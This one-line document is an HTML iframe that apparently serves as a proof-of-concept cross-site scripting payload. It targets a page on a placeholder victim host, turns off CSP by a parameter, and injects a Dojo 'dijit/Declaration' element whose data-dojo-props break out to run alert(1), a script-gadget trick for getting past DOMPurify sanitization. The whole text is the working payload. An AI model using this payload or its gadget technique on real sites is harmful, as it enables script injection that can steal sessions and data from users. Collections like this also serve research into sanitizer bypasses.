<iframe src="//victim.example.com/dojo/index.php?csp=0&sanitize=dompurify&inj=%3Cdiv%20data-dojo-type=%22dijit/Declaration%22%20data-dojo-props=%22}-alert(1)-{%22%3E"></iframe>
